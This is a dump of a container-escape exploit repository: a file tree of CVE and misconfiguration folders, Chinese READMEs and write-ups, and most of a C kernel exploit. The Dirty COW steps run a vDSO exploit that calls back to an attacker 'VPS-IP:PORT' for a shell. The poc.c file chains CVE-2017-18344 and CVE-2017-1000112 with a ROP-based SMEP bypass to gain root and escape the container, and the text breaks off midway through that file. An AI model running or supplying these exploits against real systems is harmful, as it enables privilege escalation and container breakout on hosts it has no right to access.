├── CVEs ├── CVE-2016-5195 │ ├── README.md │ └── writeup.md ├── CVE-2016-9962 │ └── README.md ├── CVE-2017-1000112 │ ├── README.md │ └── poc.c ├── CVE-2017-1002101 │ ├── README.md │ ├── stage-1-pod.yaml │ └── stage-2-pod.yaml ├── CVE-2017-7308 │ ├── Dockerfile │ ├── README.md │ ├── poc.c │ └── writeup.md ├── CVE-2018-15664 │ ├── Dockerfile │ ├── README.md │ ├── exp │ ├── run_write.sh │ ├── symlink_swap.c │ └── writeup.md ├── CVE-2018-18955 │ ├── Dockerfile │ ├── README.md │ ├── subshell │ ├── subshell.c │ ├── subuid_shell │ └── subuid_shell.c ├── CVE-2019-14271 │ ├── Dockerfile │ ├── README.md │ ├── breakout.sh │ └── libnss_files.so.2 ├── CVE-2019-5736 │ ├── Dockerfile │ ├── README.md │ └── main.go ├── CVE-2020-14386 │ ├── 50-reset-crio-capabilities.conf │ ├── Dockerfile │ ├── README.md │ ├── cve-cap-net-raw.c │ ├── pod.yaml │ └── wrapper.sh ├── CVE-2020-15257 │ ├── README.md │ └── writeup.md ├── CVE-2021-22555 │ ├── README.md │ ├── exploit.c │ └── writeup.md ├── CVE-2022-0185 │ ├── Dockerfile │ ├── Makefile │ ├── README.md │ ├── exploit │ └── exploit.c ├── CVE-2022-0492 │ ├── README.md │ └── exp.sh ├── CVE-2022-0847 │ ├── Dockerfile │ ├── README.md │ ├── poc │ ├── poc.c │ └── writeup.md └── CVE-2022-1227 │ └── README.md ├── README.md ├── autotest.sh └── misconfig ├── DAC override ├── README.md ├── shocker.c ├── shocker_write.c └── writeup.md ├── SYS_ADMIN ├── README.md └── writeup.md ├── SYS_MODULE ├── Makefile ├── README.md └── reverse-shell.c ├── mount host etc ├── README.md ├── shoker.c └── writeup.md ├── mount sock abuse ├── README.md └── writeup.md ├── mount_host_procfs ├── .x.py ├── README.md └── writeup.md ├── mount_var_log_k8s └── README.md ├── privileged container ├── README.md └── writeup.md └── process injection ├── README.md └── infect.c /CVEs/CVE-2016-5195/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2016-5195 "Dirty cow" 2 | See: https://github.com/duowen1/Container-escape-exps/tree/main/CVE-2016-5195 3 | 4 | Also: https://brucetg.github.io/2018/05/27/DirtyCow(脏牛)漏洞复现/ 5 | 6 | Also: https://xz.aliyun.com/t/7561 7 | 8 | Also: https://www.cnblogs.com/xiaozi/p/13370721.html 9 | 10 | Also: https://thinkycx.me/2019-05-20-CVE-2016-5195-dirtycow-recurrence.html 11 | 12 | Also: https://github.com/gbonacini/CVE-2016-5195 13 | ## Exploit 14 | 15 | 系统要求(From https://github.com/gbonacini/CVE-2016-5195): 16 | - RHEL7 Linux x86_64; 17 | - RHEL4 (4.4.7-16, with "legacy" version) 18 | - Debian 7 ("wheezy"); 19 | - Ubuntu 14.04.1 LTS 20 | - Ubuntu 14.04.5 LTS 21 | - Ubuntu 16.04.1 LTS 22 | - Ubuntu 16.10 23 | - Linux Mint 17.2 24 | 25 | ```shell 26 | # 下载 27 | git clone https://github.com/scumjr/dirtycow-vdso.git 28 | # 编译 需要有nasm xxd gcc 29 | cd dirtycow-vdso && make 30 | # 运行 31 | ./0xdeadbeaf VPS-IP:PORT 32 | ``` 33 | 34 | ![](https://thinkycx.me/media/15624977679319/image-20190521150923731.png) 35 | ![](https://thinkycx.me/media/15624977679319/image-20190521150828760.png) -------------------------------------------------------------------------------- /CVEs/CVE-2016-5195/writeup.md: -------------------------------------------------------------------------------- 1 | # CVE-2016-5195 2 | 3 | ## Environment 4 | - Ubuntu 16.04.1LTS 5 | - 宿主机IP为192.168.72.128 6 | - 攻击者机器IP为192.168.72.134 7 | 8 | ## Environment setup 9 | ```bash 10 | sudo apt-get update 11 | sudo apt-get install \ 12 | apt-transport-https \ 13 | ca-certificates \ 14 | curl \ 15 | software-properties-common 16 | curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - 17 | sudo add-apt-repository \ 18 | "deb [arch=amd64] https://download.docker.com/linux/ubuntu \ 19 | $(lsb_release -cs) \ 20 | stable" 21 | sudo apt-get update 22 | sudo apt-get install docker-ce 23 | sudo docker version 24 | ``` 25 | 26 | ## Steps 27 | 28 | 构建容器 29 | ```shell 30 | sudo docker run -itd --name=5195 ubuntu:latest 31 | ``` 32 | 33 | 进入容器 34 | ```shell 35 | sudo docker exec -it 5195 /bin/bash 36 | ``` 37 | 38 | 环境准备 39 | ```shell 40 | apt update 41 | apt install git 42 | apt install gcc autoconf automake libtool nasm 43 | ``` 44 | 45 | 下载exp编译payload 46 | ```shell 47 | git clone https://github.com/scumjr/dirtycow-vdso.git 48 | cd dirtycow-vdso && make 49 | sudo docker cp dirtycow-vdso/0xdeadbeef 5195:/ 50 | ``` 51 | 52 | 因为下面的原因没有成功... 53 | ``` 54 | this vDSO version isn't supported 55 | add first entry point instructions to prologues 56 | ``` -------------------------------------------------------------------------------- /CVEs/CVE-2016-9962/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2016-9962 2 | ## Description 3 | CVE-2016-9962是一个涉及RunC的安全漏洞。RunC允许通过`runc exec`将额外的容器进程ptraced到容器的pid 1。这使得容器的主进程(如果以root身份运行)在进程完全放置在容器内部之前,可以在初始化期间访问这些新进程的文件描述符。这可能导致容器逃逸或修改runC状态. 4 | 5 | 1. 容器初始化,init进程执行 6 | 2. 恶意容器在容器初始化期间对init进程执行ptrace 7 | 3. ptrace支持主机fd的副本 8 | 4. 使用open文件描述符在主机上读取/写入文件 9 | ## Exploit 10 | 需要参考 11 | https://bugzilla.suse.com/attachment.cgi?id=704067&action=diff 12 | 13 | 重新编译libcontainer然后 14 | https://bugzilla.suse.com/show_bug.cgi?id=1012568#c2 15 | 16 | -------------------------------------------------------------------------------- /CVEs/CVE-2017-1000112/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-1000112 2 | See: https://github.com/Metarget/metarget/tree/master/writeups_cnv/kernel-cve-2017-1000112 3 | 4 | ## Exploit 5 | - VMware 16.1.0 6 | - Ubuntu 16.04 7 | 安装环境 8 | ```shell 9 | ./metarget cnv install cve-2017-1000112 --verbose 10 | ``` 11 | ```shell 12 | ./metarget gadget install docker --version 18.03.1 13 | ./metarget gadget install k8s --version 1.16.5 --domestic 14 | ``` 15 | 16 | 编译exp并在容器内运行 17 | 18 | 16.04下报 SMAP detected, no bypass available, aborting复现失败 19 | -------------------------------------------------------------------------------- /CVEs/CVE-2017-1000112/poc.c: -------------------------------------------------------------------------------- 1 | // Capsule8 2019 2 | // This exploit combines exploitation of two vulnerabilities: 3 | // - CVE-2017-18344 (OOB read in proc timers) 4 | // - CVE-2017-1000112 (OOB write due to UFO packet fragmentation management) 5 | // Both original exploits were written by Andrey Konovalov. 6 | // 7 | // Tested to work on Ubuntu 4.8.0-34. 8 | 9 | #define _GNU_SOURCE 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | #define ENABLE_SMEP_BYPASS 1 33 | 34 | 35 | #define DEBUG 0 36 | #define LOG_INFO 1 37 | #define LOG_DEBUG 2 38 | 39 | #define log(level, format, args...) \ 40 | do { \ 41 | if (level == LOG_INFO) \ 42 | printf(format, ## args); \ 43 | else \ 44 | fprintf(stderr, format, ## args); \ 45 | } while(0) 46 | 47 | #define info(format, args...) log(LOG_INFO, format, ## args) 48 | 49 | #if (DEBUG >= 1) 50 | #define debug1(format, args...) log(LOG_DEBUG, format, ## args) 51 | #else 52 | #define debug1(format, args...) 53 | #endif 54 | 55 | #if (DEBUG >= 2) 56 | #define debug2(format, args...) log(LOG_DEBUG, format, ## args) 57 | #else 58 | #define debug2(format, args...) 59 | #endif 60 | 61 | #define min(x, y) ((x) < (y) ? (x) : (y)) 62 | 63 | #define PAGE_SHIFT 12 64 | #define PAGE_SIZE (1ul << PAGE_SHIFT) 65 | 66 | // Will be overwritten after leak. 67 | unsigned long KERNEL_BASE = 0xffffffff81000000ul; 68 | #define MIN_KERNEL_BASE 0xffffffff81000000ul 69 | #define MAX_KERNEL_BASE 0xffffffffff000000ul 70 | #define MAX_KERNEL_IMAGE 0x8000000ul // 128 MB 71 | 72 | #define MMAP_ADDR_SPAN (MAX_KERNEL_BASE - MIN_KERNEL_BASE + MAX_KERNEL_IMAGE) 73 | #define MMAP_ADDR_START 0x200000000ul 74 | #define MMAP_ADDR_END (MMAP_ADDR_START + MMAP_ADDR_SPAN) // 0x286000000L 75 | 76 | #define OPTIMAL_PTR_OFFSET ((MMAP_ADDR_START - MIN_KERNEL_BASE) / 8) // == 0x4fe00000L 77 | 78 | #define MAX_MAPPINGS 1024 79 | #define MEMFD_SIZE (MMAP_ADDR_SPAN / MAX_MAPPINGS) 80 | 81 | // Will be overwritten by detect_versions(). 82 | int kernel = -1; 83 | 84 | struct kernel_info { 85 | const char* distro; 86 | const char* version; 87 | uint64_t commit_creds; 88 | uint64_t prepare_kernel_cred; 89 | uint64_t xchg_eax_esp_ret; 90 | uint64_t pop_rdi_ret; 91 | uint64_t mov_dword_ptr_rdi_eax_ret; 92 | uint64_t mov_rax_cr4_ret; 93 | uint64_t neg_rax_ret; 94 | uint64_t pop_rcx_ret; 95 | uint64_t or_rax_rcx_ret; 96 | uint64_t xchg_eax_edi_ret; 97 | uint64_t mov_cr4_rdi_ret; 98 | uint64_t jmp_rcx; 99 | uint64_t divide_error; 100 | uint64_t copy_fs_struct; 101 | }; 102 | 103 | struct kernel_info kernels[] = { 104 | { "quantal", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80, 0x897200, 0x269b50}, 105 | { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80, 0x897200, 0x269b50}, 106 | }; 107 | 108 | // Used to get root privileges. 109 | #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) 110 | #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) 111 | 112 | #define COPY_FS_STRUCT (KERNEL_BASE + kernels[kernel].copy_fs_struct) 113 | #define TASK_PID_OFFSET 0x4C8 114 | #define TASK_REAL_PARENT_OFFSET 0x4D8 115 | #define TASK_FS_OFFSET 0x6B0 116 | 117 | // Used when ENABLE_SMEP_BYPASS is used. 118 | // - xchg eax, esp ; ret 119 | // - pop rdi ; ret 120 | // - mov dword ptr [rdi], eax ; ret 121 | // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret 122 | // - neg rax ; ret 123 | // - pop rcx ; ret 124 | // - or rax, rcx ; ret 125 | // - xchg eax, edi ; ret 126 | // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret 127 | // - jmp rcx 128 | #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) 129 | #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) 130 | #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) 131 | #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) 132 | #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) 133 | #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) 134 | #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) 135 | #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) 136 | #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) 137 | #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) 138 | 139 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * 140 | 141 | typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred); 142 | typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred); 143 | typedef unsigned long __attribute__((regparm(3))) (*_copy_fs_struct)(unsigned long init_task); 144 | 145 | uint64_t get_task(void) { 146 | uint64_t task; 147 | asm volatile ("movq %%gs: 0xD380, %0":"=r"(task)); 148 | return task; 149 | } 150 | 151 | void get_root(void) { 152 | char *task; 153 | char *init; 154 | uint32_t pid = 0; 155 | 156 | ((_commit_creds)(COMMIT_CREDS))( 157 | ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)); 158 | 159 | task = (char *)get_task(); 160 | init = task; 161 | while (pid != 1) { 162 | init = *(char **)(init + TASK_REAL_PARENT_OFFSET); 163 | pid = *(uint32_t *)(init + TASK_PID_OFFSET); 164 | } 165 | 166 | *(uint64_t *)(task + TASK_FS_OFFSET) = ((_copy_fs_struct)(COPY_FS_STRUCT))(*(long unsigned int *)(init + TASK_FS_OFFSET)); 167 | } 168 | 169 | 170 | // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * 171 | 172 | uint64_t saved_esp; 173 | 174 | // Unfortunately GCC does not support `__atribute__((naked))` on x86, which 175 | // can be used to omit a function's prologue, so I had to use this weird 176 | // wrapper hack as a workaround. Note: Clang does support it, which means it 177 | // has better support of GCC attributes than GCC itself. Funny. 178 | void wrapper() { 179 | asm volatile (" \n\ 180 | payload: \n\ 181 | movq %%rbp, %%rax \n\ 182 | movq $0xffffffff00000000, %%rdx \n\ 183 | andq %%rdx, %%rax \n\ 184 | movq %0, %%rdx \n\ 185 | addq %%rdx, %%rax \n\ 186 | movq %%rax, %%rsp \n\ 187 | call get_root \n\ 188 | ret \n\ 189 | " : : "m"(saved_esp) : ); 190 | } 191 | 192 | 193 | void payload(); 194 | 195 | #define CHAIN_SAVE_ESP \ 196 | *stack++ = POP_RDI_RET; \ 197 | *stack++ = (uint64_t)&saved_esp; \ 198 | *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; 199 | 200 | #define SMEP_MASK 0x100000 201 | 202 | #define CHAIN_DISABLE_SMEP \ 203 | *stack++ = MOV_RAX_CR4_RET; \ 204 | *stack++ = NEG_RAX_RET; \ 205 | *stack++ = POP_RCX_RET; \ 206 | *stack++ = SMEP_MASK; \ 207 | *stack++ = OR_RAX_RCX_RET; \ 208 | *stack++ = NEG_RAX_RET; \ 209 | *stack++ = XCHG_EAX_EDI_RET; \ 210 | *stack++ = MOV_CR4_RDI_RET; 211 | 212 | #define CHAIN_JMP_PAYLOAD \ 213 | *stack++ = POP_RCX_RET; \ 214 | *stack++ = (uint64_t)&payload; \ 215 | *stack++ = JMP_RCX; 216 | 217 | void mmap_stack() { 218 | uint64_t stack_aligned, stack_addr; 219 | int page_size, stack_size, stack_offset; 220 | uint64_t* stack; 221 | 222 | page_size = getpagesize(); 223 | 224 | stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); 225 | stack_addr = stack_aligned - page_size * 4; 226 | stack_size = page_size * 8; 227 | stack_offset = XCHG_EAX_ESP_RET % page_size; 228 | 229 | stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, 230 | MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 231 | if (stack == MAP_FAILED || stack != (void*)stack_addr) { 232 | perror("[-] mmap()"); 233 | exit(EXIT_FAILURE); 234 | } 235 | 236 | stack = (uint64_t*)((char*)stack_aligned + stack_offset); 237 | 238 | CHAIN_SAVE_ESP; 239 | CHAIN_DISABLE_SMEP; 240 | CHAIN_JMP_PAYLOAD; 241 | } 242 | 243 | // * * * Below is code for CVE-2017-18344 * * * // 244 | 245 | static struct proc_reader g_proc_reader; 246 | static unsigned long g_leak_ptr_addr = 0; 247 | #define PROC_INITIAL_SIZE 1024 248 | #define PROC_CHUNK_SIZE 1024 249 | 250 | struct proc_reader { 251 | char *buffer; 252 | int buffer_size; 253 | int read_size; 254 | }; 255 | 256 | static void proc_init(struct proc_reader* pr) { 257 | debug2("proc_init: %p\n", pr); 258 | 259 | pr->buffer = malloc(PROC_INITIAL_SIZE); 260 | if (pr->buffer == NULL) { 261 | perror("[-] proc_init: malloc()"); 262 | exit(EXIT_FAILURE); 263 | } 264 | pr->buffer_size = PROC_INITIAL_SIZE; 265 | pr->read_size = 0; 266 | 267 | debug2("proc_init = void\n"); 268 | } 269 | 270 | static void proc_ensure_size(struct proc_reader* pr, int size) { 271 | if (pr->buffer_size >= size) 272 | return; 273 | while (pr->buffer_size < size) 274 | pr->buffer_size <<= 1; 275 | pr->buffer = realloc(pr->buffer, pr->buffer_size); 276 | if (pr->buffer == NULL) { 277 | perror("[-] proc_ensure_size: realloc()"); 278 | exit(EXIT_FAILURE); 279 | } 280 | } 281 | 282 | static int proc_read(struct proc_reader* pr, const char *file) { 283 | debug2("proc_read: file: %s, pr->buffer_size: %d\n", 284 | file, pr->buffer_size); 285 | 286 | int fd = open(file, O_RDONLY); 287 | if (fd == -1) { 288 | perror("[-] proc_read: open()"); 289 | exit(EXIT_FAILURE); 290 | } 291 | 292 | pr->read_size = 0; 293 | while (true) { 294 | proc_ensure_size(pr, pr->read_size + PROC_CHUNK_SIZE); 295 | int bytes_read = read(fd, &pr->buffer[pr->read_size], 296 | PROC_CHUNK_SIZE); 297 | if (bytes_read == -1) { 298 | perror("[-] read(proc)"); 299 | exit(EXIT_FAILURE); 300 | } 301 | pr->read_size += bytes_read; 302 | if (bytes_read < PROC_CHUNK_SIZE) 303 | break; 304 | } 305 | 306 | close(fd); 307 | 308 | debug2("proc_read len = %d\n", pr->read_size); 309 | return pr->read_size; 310 | } 311 | 312 | /* sigval */ 313 | typedef union k_sigval { 314 | int sival_int; 315 | void *sival_ptr; 316 | } k_sigval_t; 317 | 318 | #define __ARCH_SIGEV_PREAMBLE_SIZE (sizeof(int) * 2 + sizeof(k_sigval_t)) 319 | #define SIGEV_MAX_SIZE 64 320 | #define SIGEV_PAD_SIZE ((SIGEV_MAX_SIZE - __ARCH_SIGEV_PREAMBLE_SIZE) \ 321 | / sizeof(int)) 322 | 323 | typedef struct k_sigevent { 324 | k_sigval_t sigev_value; 325 | int sigev_signo; 326 | int sigev_notify; 327 | union { 328 | int _pad[SIGEV_PAD_SIZE]; 329 | int _tid; 330 | 331 | struct { 332 | void (*_function)(sigval_t); 333 | void *_attribute; 334 | } _sigev_thread; 335 | } _sigev_un; 336 | } k_sigevent_t; 337 | 338 | static void leak_setup() { 339 | k_sigevent_t se; 340 | memset(&se, 0, sizeof(se)); 341 | se.sigev_signo = SIGRTMIN; 342 | se.sigev_notify = OPTIMAL_PTR_OFFSET; 343 | timer_t timerid = 0; 344 | 345 | int rv = syscall(SYS_timer_create, CLOCK_REALTIME, 346 | (void *)&se, &timerid); 347 | if (rv != 0) { 348 | perror("[-] timer_create()"); 349 | exit(EXIT_FAILURE); 350 | } 351 | } 352 | 353 | static void leak_parse(char *in, int in_len, char **start, char **end) { 354 | const char *needle = "notify: "; 355 | *start = memmem(in, in_len, needle, strlen(needle)); 356 | assert(*start != NULL); 357 | *start += strlen(needle); 358 | 359 | assert(in_len > 0); 360 | assert(in[in_len - 1] == '\n'); 361 | *end = &in[in_len - 2]; 362 | while (*end > in && **end != '\n') 363 | (*end)--; 364 | assert(*end > in); 365 | while (*end > in && **end != '/') 366 | (*end)--; 367 | assert(*end > in); 368 | assert((*end)[1] = 'p' && (*end)[2] == 'i' && (*end)[3] == 'd'); 369 | 370 | assert(*end >= *start); 371 | } 372 | 373 | static void leak_once(char **start, char **end) { 374 | int read_size = proc_read(&g_proc_reader, "/proc/self/timers"); 375 | leak_parse(g_proc_reader.buffer, read_size, start, end); 376 | } 377 | 378 | 379 | 380 | static int leak_once_and_copy(char *out, int out_len) { 381 | assert(out_len > 0); 382 | 383 | char *start, *end; 384 | leak_once(&start, &end); 385 | 386 | int size = min(end - start, out_len); 387 | memcpy(out, start, size); 388 | 389 | if (size == out_len) 390 | return size; 391 | 392 | out[size] = 0; 393 | return size + 1; 394 | } 395 | 396 | static void leak_range(unsigned long addr, size_t length, char *out) { 397 | size_t total_leaked = 0; 398 | while (total_leaked < 16) { 399 | unsigned long addr_to_leak = addr + total_leaked; 400 | *(unsigned long *)g_leak_ptr_addr = addr_to_leak; 401 | debug2("leak_range: offset %ld, addr: %lx\n", 402 | total_leaked, addr_to_leak); 403 | int leaked = leak_once_and_copy(out + total_leaked, 404 | length - total_leaked); 405 | total_leaked += leaked; 406 | } 407 | } 408 | // k_sigval 409 | 410 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 411 | 412 | static void mmap_fixed(unsigned long addr, size_t size) { 413 | void *rv = mmap((void *)addr, size, PROT_READ | PROT_WRITE, 414 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 415 | if (rv != (void *)addr) { 416 | perror("[-] mmap()"); 417 | exit(EXIT_FAILURE); 418 | } 419 | } 420 | 421 | static void mmap_fd_over(int fd, unsigned long fd_size, unsigned long start, 422 | unsigned long end) { 423 | int page_size = PAGE_SIZE; 424 | assert(fd_size % page_size == 0); 425 | assert(start % page_size == 0); 426 | assert(end % page_size == 0); 427 | assert((end - start) % fd_size == 0); 428 | 429 | debug2("mmap_fd_over: [%lx, %lx)\n", start, end); 430 | 431 | unsigned long addr; 432 | for (addr = start; addr < end; addr += fd_size) { 433 | void *rv = mmap((void *)addr, fd_size, PROT_READ, 434 | MAP_FIXED | MAP_PRIVATE, fd, 0); 435 | if (rv != (void *)addr) { 436 | perror("[-] mmap()"); 437 | exit(EXIT_FAILURE); 438 | } 439 | } 440 | 441 | debug1("mmap_fd_over = void\n"); 442 | } 443 | 444 | static void remap_fd_over(int fd, unsigned long fd_size, unsigned long start, 445 | unsigned long end) { 446 | int rv = munmap((void *)start, end - start); 447 | if (rv != 0) { 448 | perror("[-] munmap()"); 449 | exit(EXIT_FAILURE); 450 | } 451 | mmap_fd_over(fd, fd_size, start, end); 452 | } 453 | 454 | #define MEMFD_CHUNK_SIZE 0x1000 455 | 456 | static int create_filled_memfd(const char *name, unsigned long size, 457 | unsigned long value) { 458 | int i; 459 | char buffer[MEMFD_CHUNK_SIZE]; 460 | 461 | assert(size % MEMFD_CHUNK_SIZE == 0); 462 | 463 | int fd = syscall(SYS_memfd_create, name, 0); 464 | if (fd < 0) { 465 | perror("[-] memfd_create()"); 466 | exit(EXIT_FAILURE); 467 | } 468 | 469 | for (i = 0; i < sizeof(buffer) / sizeof(value); i++) 470 | *(unsigned long *)&buffer[i * sizeof(value)] = value; 471 | 472 | for (i = 0; i < size / sizeof(buffer); i++) { 473 | int bytes_written = write(fd, &buffer[0], sizeof(buffer)); 474 | if (bytes_written != sizeof(buffer)) { 475 | perror("[-] write(memfd)"); 476 | exit(EXIT_FAILURE); 477 | } 478 | } 479 | 480 | return fd; 481 | } 482 | 483 | // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 484 | 485 | 486 | #define CPUINFO_SMEP 1 487 | #define CPUINFO_SMAP 2 488 | #define CPUINFO_KAISER 4 489 | #define CPUINFO_PTI 8 490 | 491 | static const char *evil = "evil"; 492 | static const char *good = "good"; 493 | 494 | static bool bisect_probe() { 495 | char *start, *end; 496 | leak_once(&start, &end); 497 | return *start == 'g'; 498 | } 499 | 500 | static unsigned long bisect_via_memfd(unsigned long fd_size, 501 | unsigned long start, unsigned long end) { 502 | assert((end - start) % fd_size == 0); 503 | 504 | int fd_evil = create_filled_memfd("evil", fd_size, (unsigned long)evil); 505 | int fd_good = create_filled_memfd("good", fd_size, (unsigned long)good); 506 | 507 | unsigned long left = 0; 508 | unsigned long right = (end - start) / fd_size; 509 | debug2("bisect_via_memfd: right starts at 0x%lx units\n", right); 510 | debug2("bvm: start loop!\n"); 511 | 512 | while (right - left > 1) { 513 | unsigned long middle = left + (right - left) / 2; 514 | debug2("bvm: evil range (start->middle)=(0x%lx-0x%lx)\n", (start + left * fd_size), (start + middle * fd_size)); 515 | remap_fd_over(fd_evil, fd_size, start + left * fd_size, 516 | start + middle * fd_size); 517 | debug2("bvm: good range (middle->end)=(0x%lx-0x%lx)\n", (start + middle * fd_size), (start + right * fd_size)); 518 | remap_fd_over(fd_good, fd_size, start + middle * fd_size, 519 | start + right * fd_size); 520 | bool probe = bisect_probe(); 521 | if (probe) 522 | left = middle; 523 | else 524 | right = middle; 525 | } 526 | 527 | int rv = munmap((void *)start, end - start); 528 | if (rv != 0) { 529 | perror("[-] munmap()"); 530 | exit(EXIT_FAILURE); 531 | } 532 | 533 | close(fd_evil); 534 | close(fd_good); 535 | 536 | return start + left * fd_size; 537 | } 538 | 539 | static unsigned long bisect_via_assign(unsigned long start, unsigned long end) { 540 | int word_size = sizeof(unsigned long); 541 | 542 | assert((end - start) % word_size == 0); 543 | assert((end - start) % PAGE_SIZE == 0); 544 | 545 | mmap_fixed(start, end - start); 546 | 547 | unsigned long left = 0; 548 | unsigned long right = (end - start) / word_size; 549 | 550 | while (right - left > 1) { 551 | unsigned long middle = left + (right - left) / 2; 552 | unsigned long a; 553 | for (a = left; a < middle; a++) 554 | *(unsigned long *)(start + a * word_size) = 555 | (unsigned long)evil; 556 | for (a = middle; a < right; a++) 557 | *(unsigned long *)(start + a * word_size) = 558 | (unsigned long)good; 559 | bool probe = bisect_probe(); 560 | if (probe) 561 | left = middle; 562 | else 563 | right = middle; 564 | } 565 | 566 | int rv = munmap((void *)start, end - start); 567 | if (rv != 0) { 568 | perror("[-] munmap()"); 569 | exit(EXIT_FAILURE); 570 | } 571 | 572 | return start + left * word_size; 573 | } 574 | 575 | static unsigned long bisect_leak_ptr_addr() { 576 | unsigned long addr = bisect_via_memfd( 577 | MEMFD_SIZE, MMAP_ADDR_START, MMAP_ADDR_END); 578 | addr = bisect_via_memfd(PAGE_SIZE, addr, addr + MEMFD_SIZE); 579 | addr = bisect_via_assign(addr, addr + PAGE_SIZE); 580 | return addr; 581 | } 582 | 583 | static int cpuinfo_scan() { 584 | int length = proc_read(&g_proc_reader, "/proc/cpuinfo"); 585 | char *buffer = &g_proc_reader.buffer[0]; 586 | int rv = 0; 587 | char* found = memmem(buffer, length, "smep", 4); 588 | if (found != NULL) 589 | rv |= CPUINFO_SMEP; 590 | found = memmem(buffer, length, "smap", 4); 591 | if (found != NULL) 592 | rv |= CPUINFO_SMAP; 593 | found = memmem(buffer, length, "kaiser", 4); 594 | if (found != NULL) 595 | rv |= CPUINFO_KAISER; 596 | found = memmem(buffer, length, " pti", 4); 597 | if (found != NULL) 598 | rv |= CPUINFO_PTI; 599 | return rv; 600 | } 601 | 602 | static void cpuinfo_check() { 603 | int rv = cpuinfo_scan(); 604 | if (rv & CPUINFO_SMAP) { 605 | info("[-] SMAP detected, no bypass available, aborting\n"); 606 | exit(EXIT_FAILURE); 607 | } 608 | } 609 | 610 | 611 | static void arbitrary_read_init() { 612 | info("[>] setting up proc reader\n"); 613 | proc_init(&g_proc_reader); 614 | info("[+] done\n"); 615 | 616 | info("[>] checking /proc/cpuinfo\n"); 617 | cpuinfo_check(); 618 | info("[+] looks good\n"); 619 | 620 | info("[>] setting up timer\n"); 621 | leak_setup(); 622 | info("[+] done\n"); 623 | 624 | info("[>] finding leak pointer address\n"); 625 | g_leak_ptr_addr = bisect_leak_ptr_addr(); 626 | info("[+] done: %016lx\n", g_leak_ptr_addr); 627 | 628 | info("[>] mapping leak pointer page\n"); 629 | mmap_fixed(g_leak_ptr_addr & ~(PAGE_SIZE - 1), PAGE_SIZE); 630 | info("[+] done\n"); 631 | } 632 | 633 | 634 | static void read_range(unsigned long addr, size_t length, char *buffer) { 635 | leak_range(addr, length, buffer); 636 | } 637 | 638 | struct idt_register { 639 | uint16_t length; 640 | uint64_t base; 641 | } __attribute__((packed)); 642 | 643 | struct idt_gate { 644 | uint16_t offset_1; // bits 0..15 645 | uint32_t shit_1; 646 | uint16_t offset_2; // bits 16..31 647 | uint32_t offset_3; // bits 32..63 648 | uint32_t shit_2; 649 | } __attribute__((packed)); 650 | 651 | static uint64_t idt_gate_addr(struct idt_gate *gate) { 652 | uint64_t addr = gate->offset_1 + ((uint64_t)gate->offset_2 << 16) + 653 | ((uint64_t)gate->offset_3 << 32); 654 | return addr; 655 | } 656 | 657 | static void get_idt(struct idt_register *idtr) { 658 | asm ( "sidt %0" : : "m"(*idtr) ); 659 | debug1("get_idt_base: base: %016lx, length: %d\n", 660 | idtr->base, idtr->length); 661 | } 662 | 663 | static uint64_t read_idt_gate(int i) { 664 | char buffer[4096]; 665 | struct idt_register idtr; 666 | 667 | get_idt(&idtr); 668 | assert(idtr.length <= sizeof(buffer)); 669 | assert(i <= idtr.length / sizeof(struct idt_gate)); 670 | read_range(idtr.base, idtr.length, &buffer[0]); 671 | 672 | struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i; 673 | uint64_t addr = idt_gate_addr(gate); 674 | return addr; 675 | } 676 | 677 | // 678 | 679 | 680 | // * * * Below is code for CVE-2017-100012 * * * // 681 | 682 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 683 | 684 | struct ubuf_info { 685 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) 686 | uint64_t ctx; // void * 687 | uint64_t desc; // unsigned long 688 | }; 689 | 690 | struct skb_shared_info { 691 | uint8_t nr_frags; // unsigned char 692 | uint8_t tx_flags; // __u8 693 | 